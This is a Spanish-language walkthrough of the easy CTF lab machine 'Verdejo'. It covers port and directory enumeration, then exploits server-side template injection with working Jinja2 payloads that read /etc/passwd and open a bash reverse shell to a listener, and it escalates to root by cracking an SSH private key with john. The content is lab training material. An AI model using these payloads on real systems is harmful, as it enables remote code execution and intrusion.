Skip to content

Verdejo

This content is not available in your language yet.

Este artículo documenta la resolución de la máquina virtual Verdejo, desarrollada por The Hacker Labs y clasificada con un nivel de dificultad fácil. A través de un enfoque metódico, se abordan las fases de reconocimiento, explotación y escalada de privilegios, utilizando herramientas y técnicas habituales en entornos de Capture the Flag (CTF).

  • Nombre: Verdejo
  • Autor: The Hacker Labs
  • Dificultad: Fácil
  • Fecha de creación: 22/05/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip Verdejo.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Verdejo.tar

Al iniciarse la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

IP

Preparamos el entorno de trabajo:

Ventana de terminal
mkdir Verdejo
cd Verdejo
mkt # Crea: content, exploits, nmap, scripts

Ejecutamos un escaneo completo con nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Se detectaron los siguientes servicios:

  • 22 (SSH)
  • 80 (HTTP): Página por defecto de Apache.
  • 8089 (HTTP): Aplicación web desarrollada en Python.

Realizamos un escaneo más profundo sobre los puertos relevantes:

Ventana de terminal
nmap -sCV -p22,80,8089 172.17.0.2 -oN targeted

Servicios

Enumeramos posibles recursos web expuestos:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Gobuster

El único recurso significativo encontrado fue index.html, correspondiente a la página por defecto de Apache.

En este puerto accedemos a una aplicación con un formulario de entrada simple:

Index

El campo de entrada parece vulnerable a Server-Side Template Injection (SSTI).

Probamos una inyección básica para comprobar vulnerabilidad SSTI:

{{7*2}}

Lo que produce 14 en la salida, confirmando la vulnerabilidad:

SSTI básica

A continuación, realizamos una lectura del archivo /etc/passwd:

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('cat /etc/passwd').read() }}

passwd

  1. En nuestra máquina local, abrimos un puerto:

    Ventana de terminal
    nc -lvnp 443
  2. Enviamos un payload para ejecución remota:

    {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"').read() }}

Obtenemos acceso como el usuario verde:

Shell

Con el usuario verde, ejecutamos sudo -l y encontramos que se puede usar base64 como root:

sudo -l

Buscamos una clave privada:

Ventana de terminal
find / -name "id_rsa" 2>/dev/null

Si encontramos una clave protegida por contraseña, podemos intentar descifrarla con john:

Ventana de terminal
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt

john

Una vez obtenida la contraseña, usamos la clave privada para acceder como root:

Ventana de terminal
ssh -i id_rsa root@172.17.0.2

SSH root

La máquina Verdejo ofrece una ruta de explotación interesante a través de una vulnerabilidad de SSTI que permite escalar a RCE, seguida de una escalada mediante la exposición de una clave SSH cifrada. Una práctica ideal para reforzar conceptos de inyección, movimiento lateral y post-explotación en CTFs básicos.